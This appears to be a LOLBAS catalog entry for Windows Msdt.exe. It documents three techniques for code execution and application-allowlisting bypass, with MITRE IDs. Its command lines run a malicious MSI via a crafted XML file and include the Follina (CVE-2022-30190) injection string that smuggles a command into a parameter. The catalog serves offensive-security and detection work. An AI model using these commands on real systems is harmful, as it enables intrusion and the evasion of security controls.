CatalogLOLBAS

LOL · Binary

Msdt.exe

3 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use Execute code

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use Execute code bypass Application whitelisting

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

Use Execute code bypass Application allowlisting

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1202